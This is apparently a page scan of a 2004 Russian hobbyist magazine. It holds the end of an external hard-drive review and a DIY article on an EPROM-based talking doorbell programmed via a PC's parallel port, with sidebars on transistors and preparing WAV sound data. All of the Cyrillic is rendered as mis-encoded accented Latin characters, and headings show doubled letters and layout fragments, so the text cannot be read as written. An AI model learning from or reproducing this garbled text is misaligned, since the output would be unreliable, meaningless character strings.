äàðÿ ÷åìó âíåøíèå ïîâðåæäåíèÿ äå-
âàéñó íå ñòðàøíû, à âî èçáåæàíèå
ïåðåãðåâà è âûõîäà èç ñòðîÿ íà çàä-
íåé ïàíåëè óñòàíîâëåí îäèí ìàëåíü-
êèé âåíòèëÿòîð, êîòîðûé, îäíàêî, íåï-
ëîõî ïðîäóâàåò HDD. Â êîìïëåêòå ñ
âèí÷åñòåðîì èìååòñÿ ïîäñòàâêà, ïðè
ïîìîùè êîòîðîé æåñòêèé äèñê ìîæíî
óñòàíîâèòü â âåðòèêàëüíîì ïîëîæå-
íèè, íî èç-çà îòñóòñòâèÿ êðåïëåíèÿ
ñòàíèíà áóäåò îòâàëèâàòüñÿ ïðè ïå-
ðåìåùåíèè âñåé êîíñòðóêöèè ñ ìåñòà
íà ìåñòî. 

Ðàçðàáîò÷èêè ïîçàáîòèëèñü è î ëþ-
áèòåëÿõ ìàêèíòîøåé, ïðåäñòàâèâ ñïå-
öèàëüíî çàìîäåííóþ ìîäåëü, à âîò c
ñåìåéñòâîì îïåðàöèîííûõ ñèñòåì *nix
óñòðîéñòâî ðàáîòàòü íå áóäåò, òàê êàê
îôèöèàëüíàÿ ïîääåðæêà îòñóòñòâóåò.

Â èòîãå, èìååì îòëè÷íûé äåâàéñ äëÿ
áýêàïà äàííûõ èëè ðàáîòû ñ ìóëüòè-
ìåäèàêîíòåíòîì, áûñòðûé, áîëüøîé è
óäîáíûé â ðàáîòå.  E

ÒÒÅÅÕÕÍÍÈÈ××ÅÅÑÑÊÊÈÈÅÅ ÕÕÀÀÐÐÀÀÊÊÒÒÅÅÐÐÈÈÑÑÒÒÈÈÊÊÈÈ
Ìîäåëü: A01A250

Îáúåì âèí÷åñòåðà: 250 Ãá

Îáîðîòû: 7200 rpm

Ðàçìåð êýøà: 8 Ìá

Âðåìÿ äîñòóïà: <9.3 ìñ

Ñêîðîñòü ïåðåäà÷è äàííûõ (ìàêñèìàëüíàÿ):
USB2 � 34 Ìá/ñåê, FireWire � 41 Ìá/ñåê
Èíòåðôåéñû: 2xFireWire (IEEE 1394), USB 1.1/2.0

Ïîääåðæêà ïëàòôîðì: PC, Mac

Ðàçìåðû: 41õ140õ210 ìì

Âåñ: 1.38 êã

Ïèòàíèå: àäàïòåð 100�220 Â, 47�63 Ãö

Ìèíèìàëüíûå ñèñòåìíûå òðåáîâàíèÿ:
PC: PII, Windows 98/ME/2000/XP, 64 Ìá ÎÇÓ,
ñâîáîäíûé FireWire èëè USB ïîðò
Mac: iMac/PowerMac G3, MacOS 9.1/MacOS X
(10.1.2-10.1.5,10.2.4), ñâîáîäíûé FireWire èëè USB
ïîðò

test_lab (test_lab@gameland.ru)
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Ne01eX (Ne01eX@rambler.ru), http://www.alexhak.narod.ru

Ì åíÿ âñåãäà ðàçäðàæàëè îáûêíîâåííûå äâåðíûå çâîíêè. Íó ÷òî ïðèêîëüíîãî â ïðîñòîì çâîíå? Ãîðàçäî êðó÷å,
êîãäà çâîíîê ìîæåò ïðèâåòñòâîâàòü ãîñòÿ èëè, íàîáîðîò, ïîñûëàòü åãî :).

ÐÓËÅÇÍÛÉ ÁÈÏÅÐ

îáñòâåííî íàáîð çâó-
êîâ, ðàâíî êàê è ïðèìå-
íåíèå ñåãî äåâàéñà, îã-
ðàíè÷èâàåòñÿ òîëüêî
òâîåé ôàíòàçèåé. Ïîñ-

ìîòðè íà ñõåìó, ÷òî íà ðèñ. 1. Èñïóãàë-
ñÿ? Çðÿ. Íåñìîòðÿ íà ïîðÿäî÷íîå êî-
ëè÷åñòâî êîìïîíåíòîâ, ýòà ñõåìà íå
ñëîæíåå ñõåìû òðóáîïðîâîäà â êëî-
çåòå, è ñåé÷àñ ÿ ýòî òåáå äîêàæó. Îá-
ðàòè âíèìàíèå, ÷òî îíà ðàçáèòà íà
äâà óçëà � òàê åå è ñîáèðàòü ïðîùå, è
îòëàæèâàòü.

Èòàê, óçåë ïåðâûé � öèôðîâîé (õîòÿ
ïðàâèëüíåå áûëî áû åãî íàçâàòü
öèôðî-àíàëîãîâûì). Îáî âñå ïî ïî-
ðÿäêó. À ïî ïîðÿäêó äëÿ ïîðÿäêà ðàñ-
ïîëîæåíà ìèêðîñõåìà DD1 è îêðóæå-
íèå èç äèñêðåòíûõ ýëåìåíòîâ. Åñëè
òåáå èíòåðåñíî åå âíóòðåííåå óñòðîé-
ñòâî, âçãëÿíè íà ðèñ. 2.

Â ïðèíöèïå, íè÷åãî ñëîæíîãî: ÷åòû-
ðå ýëåìåíòà 2È-ÍÅ, îáúåäèíåííûõ íà
îäíó ïîäëîæêó, èç êîòîðûõ èñïîëüçó-
þòñÿ òîëüêî äâà. Íà ýëåìåíòàõ DD1.1 è
DD1.2 (à òàêæå R1, R2 è C1) ñîáðàí òàê-
òîâûé ãåíåðàòîð. Ïðè÷åì ÷àñòîòó íà
âûõîäå (âûâ. 11) ìîæíî ðåãóëèðîâàòü
(ðåçèñòîðîì R2) â íåêîòîðûõ ïðåäå-
ëàõ, ñîîòâåòñòâåííî èçìåíÿÿ ñêîðîñòü

âîñïðîèçâåäåíèÿ çâóêîâ. Ïîìèìî ñêî-
ðîñòè ìåíÿåòñÿ è òîíàëüíîñòü. Âïîëíå
ðåàëüíî çàñòàâèòü áèïåð ãîâîðèòü
êàê ãîëîñîì Áóðàòèíî, òàê è ãîëîñîì
Êàðàáàñà-Áàðàáàñà. Ãåíåðèðóåìûé ãå-
íåðàòîðîì ñèãíàë ïîñòóïàåò ÷åðåç ïå-
ðåêëþ÷àòåëü SA2 íà îäèí èç âõîäîâ

ñ÷åò÷èêà DD2 (âûâ. 10). Âõîä íàçûâà-
åòñÿ «Ñ» � ñîêðàùåíèå îò áóðæóéñêî-
ãî ñëîâà «clock» (ñ÷åò). Íàçâàíèÿ âñåõ
îñòàëüíûõ âûâîäîâ ïðèâåäåíû íà
ðèñ. 3.

Äðóãèì íåìàëîâàæíûì âõîäîì ÿâ-
ëÿåòñÿ R (ñîêðàùåíèå îò ñëîâà
«reset» � ñáðîñ) (âûâ. 11). Ñèãíàë ñáðî-
ñà ôîðìèðóåòñÿ àâòîìàòè÷åñêè ïðè
ïîäà÷å ïèòàíèÿ. È êàê ðåçóëüòàò ñèì-
áèîçà ñèãíàëîâ clock è reset � ïîî÷å-
ðåäíîå ïîÿâëåíèå ëîã. 1 íà âûâ. Q1-Q12
(ñîêðàùåíèå îò ñëîâà «quit» � âûõîä).
Ýòî íóæíî äëÿ ïåðåáîðà àäðåñîâ (À0-
À11) ïðîãðàììèðóåìîé ìèêðîñõåìû ïà-
ìÿòè DS1. Âñåõ, êðîìå ñàìîãî ñòàðøå-
ãî. Â íàøåì ñëó÷àå ñòàðøèì àäðåñîì
ìèêðîñõåìû ÿâëÿåòñÿ A12. Ýòî ñäåëà-
íî ñïåöèàëüíî äëÿ òîãî, ÷òîáû òû ìîã
îïåðàòèâíî âûáðàòü (êíîïêîé SA1)
âîñïðîèçâîäèìûé ôðàãìåíò. Ñêàæåì,
åñëè òû äîìà � çâîíîê âñåõ ïðèâåò-
ñòâóåò, óøåë � âñåõ ïîñûëàåò...

Íî ïðåæäå ÷åì ÷òî-ëèáî ïðîãðàììè-
ðîâàòü, äàâàé ñíà÷àëà ïîïûòàåìñÿ ïî-
íÿòü, êàê óñòðîåíî ÏÇÓ è êàê, ñîáñòâåí-
íî, ïðîèñõîäèò ïðîöåññ çàïèñè/ñ÷èòû-
âàíèÿ. Íàì, â ïðèíöèïå, íå âàæíî, ÷òî
íàõîäèòñÿ âíóòðè ÏÇÓøêè (íè÷åãî èí-
òåðåñíîãî � êó÷à ïîëåâûõ òðàíçèñòî-
ðîâ ñ ïëàâàþùèì çàòâîðîì :-)), ãëàâ-
íîå, ÷òî åå âûâîäû äåëÿòñÿ íà ÷åòûðå
ãðóïïû. Ïåðâàÿ ãðóïïà � ïèòàíèå ìèê-
ðîñõåìû. Â íåå ïîìèìî +Ucc è GND
âõîäèò íàïðÿæåíèå ïðîãðàììèðîâà-
íèÿ Upp. Íàïðÿæåíèå ïðîãðàììèðîâà-
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íèÿ ó ðàçíûõ ìèêðîñõåì ðàçëè÷íî, íî
âñåãäà ïèøåòñÿ íà êîðïóñå âìåñòå ñ
ìàðêèðîâêîé (â íàøåì ñëó÷àå +12,5
Â). Åñòåñòâåííî, ÷òî áåç ïîäà÷è ýòîãî
íàïðÿæåíèÿ íè î êàêîé çàïèñè íå ìî-
æåò áûòü è ðå÷è. 

Âî âòîðóþ ãðóïïó âõîäÿò óïðàâëÿþ-
ùèå ñèãíàëû. Îíè ïðåäñòàâëåíû â
òàáë. 1.

___
Uwp (èíà÷å PGM � ðàçðåøåíèå ïðîã-

ðàììèðîâàíèÿ) � ïðè ïîäà÷å ëîã. 1 íà
äàííûé âûâîä ïðîèñõîäèò áëîêèðîâêà
çàïèñè. Ñîîòâåòñòâåííî, äëÿ ðàçðåøå-
íèÿ ïðîãðàììèðîâàíèÿ íåîáõîäèìî ñî-
åäèíèòü ýòîò âûâîä ñ îáùèì ïðîâîäîì.

__
OE � ÷åðòà íàä ñèìâîëàìè ãîâîðèò î

òîì, ÷òî ñèãíàëîì ÿâëÿåòñÿ ëîã. 0. (Âî-
îáùå-òî, ïðàâèëüíåå áûëî áû ãîâî-
ðèòü, ÷òî àêòèâíûì ñèãíàëîì ÿâëÿåòñÿ
èíâåðñíûé ïî îòíîøåíèþ ê îñòàëü-
íûì. Â íàøåì ñëó÷àå ñïðàâåäëèâû
îáà óòâåðæäåíèÿ.) Ïðè ïîäà÷å ëîã. 0
íà ýòîò âõîä âñå âûõîäû áëîêèðóþòñÿ.

__
CS � âûáîð êðèñòàëëà. Â ñëó÷àå èñ-

ïîëüçîâàíèÿ íåñêîëüêèõ ìèêðîñõåì

ïðè ïîäà÷å ëîã. 0 íà äàííûé âûâîä
ìîæíî âûáðàòü òðåáóåìóþ â äàííûé
ìîìåíò âðåìåíè. Òàê êàê ÏÇÓ ó íàñ îä-
íà, òî ýòîò âûâîä æåñòêî ïðèâÿçàí ê
îáùåìó ïðîâîäó.

Ê òðåòüåé ãðóïïå îòíîñèòñÿ øèíà
äàííûõ (ØÄ). Ýòî, êñòàòè ñêàçàòü,
åäèíñòâåííàÿ ãðóïïà, ãäå ñèãíàëû ìî-
ãóò íå òîëüêî âõîäèòü â ìèêðîñõåìó,
íî âûõîäèòü èç íåå. Êàê ÿñíî èç íàç-
âàíèÿ, ïî ýòîé øèíå äàííûå,
cîáñòâåííî, è íîñÿòñÿ.

Ïîñëåäíåé ãðóïïîé ÿâëÿåòñÿ àäðåñ-
íàÿ øèíà (ØÀ). Íàçâàíèå òîæå íå
ôèíòèïåðñòîâîå, è èç íåãî ïîíÿòíî,
÷òî ïðè ïîäà÷å ñîîòâåòñòâóþùèõ ñèã-
íàëîâ íà ýòè âõîäû ïðîèñõîäèò âû-
áîðêà àäðåñîâ � ÿ÷ååê ïàìÿòè. Ó ØÀ
è ó ØÄ àêòèâíîìó óðîâíþ ñîîòâåò-
ñòâóåò ëîã. 1. Ïåðåõîä èç ðåæèìà çà-

ïèñè â ðåæèì ÷òåíèÿ îñóùåñòâëÿåòñÿ
ñ ïîìîùüþ ïåðåêëþ÷àòåëÿ SA2.
Êóëüìèíàöèåé âñåãî âûøåñêàçàííî-
ãî ÿâëÿåòñÿ òî, ÷òî èçîáðàæåíî íà
ðèñ. 4, íà êîòîðîì â âèäå ñâîäíîé
òàáëèöû ïðåäñòàâëåíà öîêîëåâêà íå-
êîòîðûõ ìèêðîñõåì.

Íó à ñîîòâåòñòâèå îáúåìà êîíêðåò-
íûì íîìèíàëàì ìèêðîñõåì ïðîñëåæè-
âàåòñÿ â òàáë. 2.

Òåïåðü ïîëó÷åííûõ çíàíèé âïîëíå
äîñòàòî÷íî äëÿ òîãî, ÷òîáû íå òîëüêî
ñîáðàòü ïðîãðàììàòîð, íî è ñàìîìó
íàïèñàòü ñîôò ïîä íåãî. Îäíàêî ñî-
áèðàòü îòäåëüíûé ïðîãðàììàòîð ðà-
äè îäíîé ìèêðîñõåìû � ýòî êàê-òî íå
ïî-íàøåìó. Áóäåò ïðîùå îáúåäèíèòü
ïðîãðàììàòîð è íàøåãî ïîïóãàÿ â îä-
íó ñõåìó, à øèíó äàííûõ êèíóòü íà
LPT1 ïîðò êîìïà. ×òî, êàê âèäèøü, è
ñäåëàíî. Êðîìå ØÄ íà ïîðò êèíóò
âõîä Ñ DD2. Çà÷åì, åñëè ó íàñ óæå
åñòü òàêòîâûé ãåíåðàòîð? Äåëî â òîì,
÷òî ïðè çàïèñè â ÏÇÓ âîçíèêàåò òðàáë
� ïðîáëåìà ñèíõðîíèçàöèè òàêòîâûõ
èìïóëüñîâ ñ çàïèñûâàåìûìè äàííû-
ìè. Â ìîåì ñëó÷àå îíà ðåøåíà ñàìûì
ðàäèêàëüíûì ñïîñîáîì � îòðóáàíèåì
ãåíåðàòîðà îò âõîäà Ñ è ïîäà÷åé íà
íåãî (âõîä) âíåøíèõ òàêòèðóþùèõ
èìïóëüñîâ. Èìïóëüñû ãåíåðèðóåò âû-
õîä Ñòðîá ïîðòà LPT1.

Âåðíåìñÿ ê ØÄ. Êàê âèäíî èç òîãî
æå ðèñ. 1, íà ØÄ íàãðóæåíà öåïî÷êà
ðåçèñòîðîâ R4-R11, R12-R19. Ñ ïî-
ìîùüþ íèõ è ïðîèñõîäèò ïðåîáðàçî-
âàíèå öèôðîâîãî ñèãíàëà â àíàëîãî-
âûé, òî åñòü â çâóê. Ýòîò óçåë îòíîñèò-
ñÿ ê êëàññè÷åñêèì è íà ÿçûêå âèðòóî-
çîâ ïàÿëüíèêà íàçûâàåòñÿ "ÖÀÏ R-
2R". Äàëåå, óæå àíàëîãîâûé ñèãíàë,
ïðîõîäèò ÷åðåç íå ìåíåå êëàññè÷åñ-
êèé óçåë � RC-ôèëüòð, âûïîëíåííûé
íà ýëåìåíòàõ R20, C4. Îäíàêî ãðîì-
êîñòè ïîëó÷àåìîãî íà âûõîäå ñèãíàëà
äîñòàòî÷íî, ëèøü ÷òîáû íàãðóçèòü
åãî íà âûñîêîîìíûå íàóøíèêè. Åñòå-
ñòâåííî, íàñ ýòî íå óäîâëåòâîðÿåò. È

99

Òàáë. 1. Ñèãíàëû DS1

Òàáë. 2. Ñîîòâåòñòâèå îáúåìà ÏÇÓ êîíê-
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ÑÑèèããííààëë ÎÎïïèèññààííèèåå

Uwp Çàïðåò çàïèñè (write protect)

ÎÅ Ðàçðåøåíèå âûõîäà (output enable)

CS Âûáîð êðèñòàëëà (chip select)

ÎÎááúúååìì ÏÏÇÇÓÓ ÍÍààøøåå ÇÇààááóóããîîððííîîåå

2 Ê õ 8 Ê573ÐÔ2,
Ê573ÐÔ5 27Ñ16

8 Ê õ 8 Ê573ÐÔ4,
Ê573ÐÔ6 27Ñ64

16 Ê õ 8 27Ñ128

32 Ê õ 8 Ê573ÐÔ8 27Ñ256

Âîîáùå-òî, â êíèãàõ ýòîìó ýëåêòðîïðèáîðó ïîñâÿùÿþò íå îäíó
ñòðàíèöó. Íî ÿ ïîñòàðàþñü áûòü áîëåå êðàòêèì. Ñâîå íàçâàíèå áè-
ïîëÿðíûé òðàíçèñòîð ïîëó÷èë áëàãîäàðÿ íîñèòåëÿì çàðÿäà. Ó íåãî
èõ äâà: ýëåêòðîíû (n) è äûðêè (p). À âûâîäîâ òðè. Âûâîä, èäóùèé ñ
ñåðåäèíû êðèñ-
òàëëà, ïðèíÿòî
íàçûâàòü áàçîé,
âûâîä, ñëèâàþ-
ùèé (ýìèòòèðóþ-
ùèé) çàðÿäû, -
ýìèòòåðîì, íó à
ñîáèðàþùèé âñå
ýìèòòèðîâàííûå
çàðÿäû - êîë-
ëåêòîðîì. Íà
ðèñóíêå îíè òàê
è îáîçâàíû. Íî
ñàìîå èíòåðåñíîå íå â ýòîì, à â òîì, ÷òî åñëè çàêðûòü áàçó è ïîçà-
áûòü î òîì, ÷òî â îáëàñòè áàçû ñîäåðæèòñÿ êó÷à ïðèìåñåé, òî ìîæ-
íî ñêàçàòü î áèïîëÿðíîì òðàíçèñòîðå, ÷òî îí äèîä :-). Ñîîòâåò-
ñòâåííî, è âêëþ÷àåòñÿ â ñõåìó îí ïî çàêîíàì äèîäà, òî åñòü èìååò
ñâîè ïëþñ è ìèíóñ. Íå íóæíî áûòü Ëîáà÷åâñêèì, ÷òîáû äîãàäàòüñÿ
î âñåãî äâóõ âîõìîæíûõ âàðèàíòàõ ðàñïîëîæåíèÿ ïëþñà è ìèíóñà.
Òîò òðàíçèñòîð, íà êîëëåêòîð êî-
òîðîãî ïîäàåòñÿ ïëþñ, íàçûâàåòñÿ
n-p-n, íó à òîò, ãäå ïëþñ ïîäàåòñÿ
íà ýìèòòåð, - p-n-p. Íà áàçó îáû÷íî
ïîäàåòñÿ ñèãíàë, â êà÷åñòâå êîòî-
ðîãî ìîæåò âûñòóïàòü ÷òî óãîäíî,
äàæå ïîñòîÿííûé òîê. Â íàøåì
ñëó÷àå òðàíçèñòîð èìååò ñòðóêòó-
ðó P-n-p è òèïîíîìèíàë ó íåãî
KT3107.

Òðàíçèñòîðû áûâàþò ðàçíûå

Öîêîëåâêà òðàíçèñòîðà

Ðèñ. 4. Öîêîëåâêà íåêîòîðûõ ìèêðîñõåì
ïàìÿòè

Ðèñ. 5. Óçåë 2, àíàëîãîâûé
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òóò íà ñöåíó âûõîäèò äðóãîé óçåë,
èçîáðàæåííûé íà ðèñ. 5.

Êàñêàä íà òðàíçèñòîðå VT1 � ïðåäâà-
ðèòåëüíûé óñèëèòåëü. Ïåðåìåííûì
ðåçèñòîðîì R22 ðåãóëèðóåòñÿ ãðîì-
êîñòü. Ðåçèñòîðîì R21 çàäàåòñÿ íåîá-
õîäèìîå ñìåùåíèå äëÿ VT1. Çâóêîâîé
ñèãíàë ñíèìàåòñÿ ñ ýìèòòåðà ýòîãî
òðàíçèñòîðà è ïîäàåòñÿ ÷åðåç ðàçäå-
ëèòåëüíûé êîíäåíñàòîð Ñ6 íà âõîä
ìèêðîñõåìû DA2. Òû óæå íàâåðíî
çíàåøü, ÷òî ïðîìûøëåííîñòü äîøëà
äî òîãî, ÷òî ñòàëà âûïóñêàòü îäíîê-
ðèñòàëüíûå óñèëèòåëè. Ñïåö î íèõ
óæå ïèñàë íå ðàç, è ýòî � åùå îäèí âà-
ðèàíò ïðîñòîãî óñèëêà (XS #05(11) çà
2001 ã.), à, ïî ìîåìó ñêðîìíîìó ìíå-
íèþ, è ñàìûé ïðîñòîé âàðèàíò. Ïðî
ìèêðîñõåìó DA1 òû óæå çíàåøü, ðàâ-
íî êàê è ïðî êîíäåíñàòîð Ñ5.

ÊÎÍÑÒÐÓÊÒÈÂ
Ñàìàÿ ãëàâíàÿ ìèêðîñõåìà � ÏÇÓ �

ïðåäñòàâëåíà íà ðèñ. 6, ñ÷åò÷èê DD2 �
íà ðèñ. 7, à íà ðèñ. 8 óþòíî ðàñïîëî-
æèëàñü DD1. DA1 òû óæå âèäåë, à îä-
íîêðèñòàëüíûé óñèëèòåëü DA2 èçîá-
ðàæåí íà ðèñ. 9.

Êðîìå ìèêðîñõåì, íàì ïîíàäîáÿòñÿ
ïàíåëüêè. Â ïðèíöèïå, îáÿçàòåëüíîé
ÿâëÿåòñÿ òîëüêî ïàíåëüêà äëÿ DS1,
ïîòîìó ÷òî åå ìîæíî îïåðàòèâíî çà-
ìåíèòü, íî ÿ âñå æå ðåêîìåíäóþ ïîñ-
òàâèòü ïàíåëè è ïîä îñòàëüíûå ìèê-
ðóõè. Âåäü ïîñëåäíèå ê òåáå ìîãóò ïî-
ïàñòü ðàçëè÷íûìè ïóòÿìè, è íåò ãà-
ðàíòèè, ÷òî îíè ñòîïðîöåíòíî öåëûå.
Ïðàêòè÷åñêè âñå ïàíåëüêè, ïðîäàþ-
ùèåñÿ â ìàãàçèíàõ, çàáóãîðíûå, íî
ëó÷øå ïîïûòàòüñÿ îòûñêàòü îòå÷åñò-
âåííûå ñ ïîçîëî÷åííûìè êîíòàêòàìè,
õîòÿ áû äëÿ DS1. Îíè íà ïàðó-òðîéêó
÷åðâîíöåâ äîðîæå, íî òîãî ñòîÿò. Ïå-
ðåìåííûå ðåçèñòîðû (R5 è R25) ìîæ-
íî ïðèìåíèòü ëþáûå, åñòåñòâåííî,
ïîäõîäÿùèå ïî íîìèíàëó. Íàïðèìåð,
ÿ èñïîëüçîâàë ÑÏ3-4à (ðèñ. 1). Ïîñòî-
ÿííûå ðåçèñòîðû � ÎÌËÒ-0.125 èëè
ÎÌËÒ-0.25 ñ íîìèíàëàìè, óêàçàííû-
ìè íà ñõåìå. Íåïîëÿðíûå êîíäåíñà-
òîðû (òî åñòü òå, êîòîðûå áåç ïîëþ-
ñîâ) � ëþáûå êåðàìè÷åñêèå, ïîäõîäÿ-
ùèå ïî ãàáàðèòàì. Ìîæíî èñïîëüçî-
âàòü êîíäåðû ôèðìû TREC. Ýòî, êñòà-
òè, òàêæå îòíîñèòñÿ è ê ýëåêòðîëèòè-
÷åñêèì êîíäåíñàòîðàì, íî, åñëè òû
ïàòðèîò, ïîñòàâü íàøè (Ê50-35), îíè
íè÷åì íå õóæå. Òàê êàê â äàííîé ñõå-
ìå êîìïîíåíòîâ ïîðÿäî÷íî, äóìàþ, òû
ïðîñòèøü ìåíÿ çà òî, ÷òî ÿ íå äàþ
ôîòî êàæäîãî.

Âðîäå ïðî êîìïîíåíòû âñå ñêàçàíî...
Õîòÿ íåò, íå âñå. Â êà÷åñòâå ìèêðîñõå-
ìû DD2 ìîæíî èñïîëüçîâàòü ìîòîðî-
ëîâñêèé àíàëîã� MC14040. Íà õóäîé
êîíåö ïîéäåò êèòàéñêî-êîðåéñêèé
êëîí CD4040B. Äëÿ K561ËÀ7 òàêæå
íàéäåòñÿ íåìàëî àëüòåðíàòèâû:
Ê1561ËÀ7, Ê176ËÀ7, CD4011B. Ïåðå÷èñ-
ëåííûå ìèêðóõè â äàííîì ñëó÷àå ïîë-
íîñòüþ âçàèìîçàìåíÿåìû è èäåíòè÷-
íû ïî öîêîëåâêå.

Òåáÿ íàâåðíÿêà ãëîæåò âîïðîñ, êàê
ïëàòó äåëàòü áóäåì. Åñòåñòâåííî, öà-

ðàïàíüåì íå îòäåëàòüñÿ: ñëèøêîì
ìíîãî äîðîæåê. Íî ìû âîîáùå ïå÷àò-
íèê êàê òàêîâîé è äåëàòü íå áóäåì.
×òî, çàèíòðèãîâàë? Ðàçúÿñíÿþ: äåëî
â òîì, ÷òî îòå÷åñòâåííàÿ ïðîìûøëåí-
íîñòü ïîøëà íà âñòðå÷ó ïîòðåáèòåëþ
è ñòàëà âûïóñêàòü ýòàêèå ïîëóôàáðè-
êàòû � ìàêåòíûå ïëàòû. Ïðè÷åì àññîð-
òèìåíò èõ íàñòîëüêî øèðîê, ÷òî óäîâ-
ëåòâîðèò ïðàêòè÷åñêè ëþáîãî èçâðà-
ùåíöà. Íàñ âïîëíå óñòðîèò âàðèàíò
ìàêåòíèêà, ïîêàçàííûé íà ðèñ. 3. Áå-
ðåøü â ðóêè íîæîâêó ïî ìåòàëëó, îò-
ïèëèâàåøü íóæíûé êóñîê ÏÐßÌÎÓ-
ÃÎËÜÍÎÃÎ ðàçìåðà (ðèñ. 14) è ðàçìå-
ùàåøü êîìïîíåíòû òàê, êàê òåáå
óäîáíî (ìîé âàðèàíò íà ðèñ. 15). Åñòå-
ñòâåííî, â ïåðâóþ î÷åðåäü ðàçìåùà-

þòñÿ ïàíåëüêè ïîä ìèêðóõè, çàòåì ñà-
ìûå ìàëåíüêèå êîìïîíåíòû (ðåçèñòî-
ðû è êåðàìè÷åñêèå êîíäåðû) è òîëüêî
â ïîñëåäíþþ î÷åðåäü ýëåêòðîëèòè-
÷åñêèå êîíäåíñàòîðû, ïåðåêëþ÷àòåëè
Ï2Ê è ïåðåõîäíîé ðàçúåì äëÿ ñòàíäà-
ðòíîãî ïåðåõîäíèêà "LPT ìàòåðèíêà <-
> DB25" (ðèñ. 16).

ÕÀÊÅÐÑÏÅÖ   08(45)   2004

Íó êîãî ìîæåò ïðèêîëîòü îáû÷íàÿ êíîïêà? Äðóãîå äåëî - ìûøü.
Áåðåøü äîõëóþ èëè íåíóæíóþ ìûøü, ïåðåðåçàåøü ïðîâîäíèêè
òàê, êàê ïîêàçàíî íà ôîòî, âûïàèâàåøü íåíóæíûå êîìïîíåíòû,
ïîäïàèâàåøü ïðîâîäà - ãîòîâî!

Âìåñòî êíîïêè - ìûøü.

Ðèñ. 6. ÏÇÓ

Ðèñ. 7. Ñ÷åò÷èê

Ðèñ. 8. 4 õ 2È-ÍÅ â
âèäå Ê561ËÀ7

Ðèñ. 9. Îäíîêðèñ-
òàëüíûé óñèëîê

Ðèñ. 11. Ðåçèñòîð

Ðèñ. 12. Ðîññûïóõà äåòàëåé

Ðèñ. 13. Ìàêåòíèê ìîæåò áûòü òàêèì

Ðèñ. 14. Ïðÿìîóãîëüíàÿ ïëàòà

Ðèñ. 15. Âèä íà êîìïîíåíòû

Ðèñ. 16. Ïåðåõîäíèê
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Äàëüøå ñà-
ìîå èíòåðåñ-
íîå � ñîåäè-
íåíèå äåòà-
ëåé ñîãëàñíî
ïðèíöèïè-
àëüíîé ñõå-
ìå. Íå áóäåì
ïîâòîðÿòü
ìîé ãîðüêèé
îïûò è ðàçäî-
áóäåì ïðîâîä
âî ôòîðîï-
ëàñòîâîé
èçîëÿöèè

(ðèñ. 17). Ïðåèìóùåñòâî ýòîãî ïðîâî-
äà ïåðåä ëþáûì äðóãèì â òóãîïëàâ-
êîñòè èçîëÿöèè, ýòî ïîçâîëèò èçáå-
æàòü ìíîãèõ áàãîâ.

Íó âîò, î÷åðåäíîå ñîâîêóïëåíèå ñ
ïàÿëîì ïîäîøëî ê ñâîåìó ëîãè÷åñêî-
ìó ñåìÿèçâåðæåíèþ. Òî, ÷òî ïîëó÷è-
ëîñü ó ìåíÿ â ðåçóëüòàòå è ÷òî äîë-
æåí ïîëó÷èòü òû, ïðåäñòàâëåíî íà
ðèñ. 18. Íî ýòî íå êîíåö! Âåäü åùå íå
çàïðîãðàììèðîâàíà ìèêðîñõåìà, íå
ïîäãîòîâëåíû äàííûå äëÿ çàëèâêè.

ÐÛÁÀ ÇÀËÈÂÍÀß
Äàííûìè áóäåò çâóêîâîé ôðàã-

ìåíò. Â ïðèíöèïå, ìîíîôîíè÷åñêóþ
çâóêîâóþ ôðàçó ñ ÷àñòîòîé äèñêðåòè-
çàöèè 8 êÃö ìîæíî ïîëó÷èòü ðàçíûìè
ïóòÿìè. Íàïðèìåð, âåòåðàíû, ñèäÿùèå

çà êîìïîì ñ äåñÿòîê ëåò, íàâåðíÿêà
ïîìíÿò âèäîèçìåíåííóþ ñõåìó
COVOX'a, ïîçâîëÿþùóþ çàïèñûâàòü
ìîíîôîíè÷åñêèé 8-áèòíûé çâóêîâîé
ñèãíàë ñ ðåãóëèðóåìîé ÷àñòîòîé âû-
áîðêè. Êòî ïîìëàäøå ìîæåò âîñïîëü-
çîâàòüñÿ CoolEdit Pro íà ïàðó ñ SB
Creative Audigy 2. Íó à ñàìûì ìàëåíü-
êèì âïîëíå õâàòèò âñòðîåííîé çâóêî-
âóõè íà ÷èïñåòå AC'97, ìèêðîôîíà-
ïðèùåïêè "Äèàëîã" è Sound Forge â
êà÷åñòâå ñîôòà. Îá èñïîëüçîâàíèè
ïîñëåäíåãî è ïîéäåò äàëåå ðå÷ü. Âûáè-
ðàåì íóæíóþ îïöèþ (ðèñ. 19), ïîÿâëÿ-
åòñÿ îêíî, êàê íà ðèñ. 20. Óñòàíàâëèâà-
åì ïàðàìåòðû çàïèñè ñîãëàñíî ñêðèíó
è çàïèñûâàåì. Çàïèñàë? Çàêðîé îêíî,
âûðåæè íóæíûé ôðàãìåíò è îáðàáî-
òàé. Ïîä îáðàáîòêîé ÿ ïîäðàçóìåâàþ
ïîäãîíêó ïîä îáúåì è íîðìàëèçàöèþ
çâóêîâîãî ñèãíàëà. Ìîæíî, êîíå÷íî,
âñòàâèòü ýôôåêò ýõî èëè "âàó", íî íà
4096 áàéò îñîáî íå ðàçâåðíåøüñÿ,
ïîýòîìó íå ðåêîìåíäóþ. Åñòåñòâåííî,
ìîæíî èñïîëüçîâàòü è óæå èìåþùèé-
ñÿ ìóçûêàëüíûé ôðàãìåíò, ïðåîáðà-
çîâàâ åãî â òðåáóåìûé ôîðìàò (8000
Ãö � ÷àñòîòà âûáîðêè, ìîíî, WAV PCM,
ýòî ñîîòâåòñòâóåò áîëåå-ìåíåå ïåðå-
âàðèâàåìîìó áèòðåéòó 64kbps). Íó
åñòü ó òåáÿ ôðàãìåíò. ×òî äàëüøå? À
äàëüøå � óäàëåíèå ñëóæåáíîé èíôîð-
ìàöèè èç ôàéëà äëÿ óìåíüøåíèÿ åãî
îáúåìà. Ñòðóêòóðà WAV-ôàéëà ïðåäñ-
òàâëåíà â òàáë. 3.

Íàñ èíòåðåñóåò ðàçäåë, ïîìå÷åííûé
ãîëóáûì öâåòîì: òàì, ñîáñòâåííî, è íà-
õîäÿòñÿ äàííûå. Ïðîöåññ "êàñòðàöèè"
íåñëîæåí: äîñòàòî÷íî íàéòè ïîñëåäî-
âàòåëüíîñòü 64h 61h 74h 61h (ýòî ñîîò-
âåòñòâóåò ñëîâó 'data' â ASCII), ïðîïóñ-
òèòü ñëåäóþùèå ÷åòûðå áàéòà è âûðå-
çàòü âñå, ÷òî íàõîäèòñÿ âûøå (âåðõ �
0000 â HEX-ïðåäñòàâëåíèè). Îñòàòîê è
áóäåò çâóêîâûìè äàííûìè â ÷èñòîì
